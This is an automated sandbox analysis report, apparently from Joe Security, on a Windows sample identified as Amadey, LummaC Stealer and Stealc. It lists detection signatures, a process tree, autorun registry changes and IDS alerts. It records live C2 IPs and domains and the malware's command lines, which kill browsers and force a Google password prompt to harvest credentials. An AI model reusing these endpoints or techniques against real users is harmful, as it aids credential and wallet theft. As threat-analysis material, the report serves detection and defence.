Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571971
MD5:	f5db9dcea4098275cb46b5d6fe73cef8
SHA1:	9b623e4cfff93bffbaf7034ebbf893773700ba94
SHA256:	34959918550ef8a11fe8e0ef9dde5f85f0dac541e62a2cad53998d4a0eb07d9d
Tags:	Amadeyexeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6936 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F5DB9DCEA4098275CB46B5D6FE73CEF8)

skotes.exe (PID: 2696 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F5DB9DCEA4098275CB46B5D6FE73CEF8)

skotes.exe (PID: 4340 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F5DB9DCEA4098275CB46B5D6FE73CEF8)

skotes.exe (PID: 7660 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F5DB9DCEA4098275CB46B5D6FE73CEF8)

ae5cfd188c.exe (PID: 7872 cmdline: "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe" MD5: 52F0F216DFBB86683B1E318A0796DD81)

chrome.exe (PID: 4420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1944,i,17281856634279828374,9724014430205040748,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1164 --field-trial-handle=1988,i,16142706175083674967,2684589522950696221,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

37df924488.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe" MD5: CBF2B84F9B993A77C0E2170CCCBACB7C)

2ada66c192.exe (PID: 1364 cmdline: "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe" MD5: 5DD5F67D25C20DFF1AC926ABDC8C2EB0)

taskkill.exe (PID: 6600 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7192 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5824 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1396 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7348 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9c2827fca4.exe (PID: 5912 cmdline: "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe" MD5: 6CFAA4B02B026AA1631EDA2E570A1298)

ae5cfd188c.exe (PID: 3512 cmdline: "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe" MD5: 52F0F216DFBB86683B1E318A0796DD81)

firefox.exe (PID: 4040 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5932 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6524 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2272 -parentBuildID 20230927232528 -prefsHandle 2192 -prefMapHandle 2184 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55e86b5f-3953-4278-9a52-23c7c331b436} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba49c6e110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6344 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4064 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f1a1788-4a6a-4b44-adb8-7b34c81ea1a2} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba5bd78210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

37df924488.exe (PID: 6796 cmdline: "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe" MD5: CBF2B84F9B993A77C0E2170CCCBACB7C)

2ada66c192.exe (PID: 4544 cmdline: "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe" MD5: 5DD5F67D25C20DFF1AC926ABDC8C2EB0)

taskkill.exe (PID: 1596 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5196 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6720 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5432 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7616 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9c2827fca4.exe (PID: 5040 cmdline: "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe" MD5: 6CFAA4B02B026AA1631EDA2E570A1298)

2ada66c192.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe" MD5: 5DD5F67D25C20DFF1AC926ABDC8C2EB0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["dare-curbys.biz", "print-vexer.biz", "zinc-sneark.biz", "se-blurry.biz", "atten-supporse.biz", "impend-differ.biz", "covery-mover.biz", "dwell-exclaim.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2656254636.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2656059323.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2722206799.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2576907728.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2572489789.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2520611019.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2657437696.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2543919841.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2545054746.0000000000C61000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2543892695.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2717480504.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2760593914.0000000000681000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2657790629.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2497346871.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2534662557.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2684316064.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2630336262.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2545193277.0000000000C61000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2630205909.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2572381559.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2673057530.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2575911980.0000000000681000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ae5cfd188c.exe PID: 7872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ae5cfd188c.exe PID: 7872	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 37df924488.exe PID: 7148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 37df924488.exe PID: 7148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ae5cfd188c.exe PID: 3512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ae5cfd188c.exe PID: 3512	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2ada66c192.exe PID: 1364	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 37df924488.exe PID: 6796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 37df924488.exe PID: 6796	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7660, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ae5cfd188c.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7660, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ae5cfd188c.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:16.121917+0100	2028371	3	Unknown Traffic	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:18.382928+0100	2028371	3	Unknown Traffic	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:20.710128+0100	2028371	3	Unknown Traffic	192.168.2.4	49800	104.21.48.1	443	TCP
2024-12-09T23:09:23.068929+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	104.21.48.1	443	TCP
2024-12-09T23:09:25.602980+0100	2028371	3	Unknown Traffic	192.168.2.4	49814	104.21.48.1	443	TCP
2024-12-09T23:09:28.738776+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	104.21.48.1	443	TCP
2024-12-09T23:09:29.565343+0100	2028371	3	Unknown Traffic	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:31.795277+0100	2028371	3	Unknown Traffic	192.168.2.4	49833	104.21.48.1	443	TCP
2024-12-09T23:09:31.873065+0100	2028371	3	Unknown Traffic	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:34.050106+0100	2028371	3	Unknown Traffic	192.168.2.4	49842	104.21.48.1	443	TCP
2024-12-09T23:09:36.781266+0100	2028371	3	Unknown Traffic	192.168.2.4	49852	104.21.48.1	443	TCP
2024-12-09T23:09:39.172096+0100	2028371	3	Unknown Traffic	192.168.2.4	49861	104.21.48.1	443	TCP
2024-12-09T23:09:40.181977+0100	2028371	3	Unknown Traffic	192.168.2.4	49864	104.21.48.1	443	TCP
2024-12-09T23:09:43.332988+0100	2028371	3	Unknown Traffic	192.168.2.4	49880	104.21.48.1	443	TCP
2024-12-09T23:09:46.291112+0100	2028371	3	Unknown Traffic	192.168.2.4	49897	104.21.48.1	443	TCP
2024-12-09T23:09:48.316325+0100	2028371	3	Unknown Traffic	192.168.2.4	49906	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:17.108244+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:19.122038+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:30.415077+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:32.484134+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:39.884353+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49861	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:17.108244+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:30.415077+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49827	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:19.122038+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:32.484134+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49834	104.21.48.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:16.121917+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49781	104.21.48.1	443	TCP
2024-12-09T23:09:18.382928+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49790	104.21.48.1	443	TCP
2024-12-09T23:09:20.710128+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49800	104.21.48.1	443	TCP
2024-12-09T23:09:23.068929+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49806	104.21.48.1	443	TCP
2024-12-09T23:09:25.602980+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49814	104.21.48.1	443	TCP
2024-12-09T23:09:28.738776+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49821	104.21.48.1	443	TCP
2024-12-09T23:09:29.565343+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49827	104.21.48.1	443	TCP
2024-12-09T23:09:31.795277+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49833	104.21.48.1	443	TCP
2024-12-09T23:09:31.873065+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49834	104.21.48.1	443	TCP
2024-12-09T23:09:34.050106+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49842	104.21.48.1	443	TCP
2024-12-09T23:09:36.781266+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49852	104.21.48.1	443	TCP
2024-12-09T23:09:39.172096+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49861	104.21.48.1	443	TCP
2024-12-09T23:09:40.181977+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49864	104.21.48.1	443	TCP
2024-12-09T23:09:43.332988+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49880	104.21.48.1	443	TCP
2024-12-09T23:09:46.291112+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49897	104.21.48.1	443	TCP
2024-12-09T23:09:48.316325+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49906	104.21.48.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:41.348882+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49868	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:17.213328+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49787	185.215.113.43	80	TCP
2024-12-09T23:09:25.467841+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49813	185.215.113.43	80	TCP
2024-12-09T23:09:32.623757+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-09T23:09:42.735490+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49874	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:14.651408+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.4	57488	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
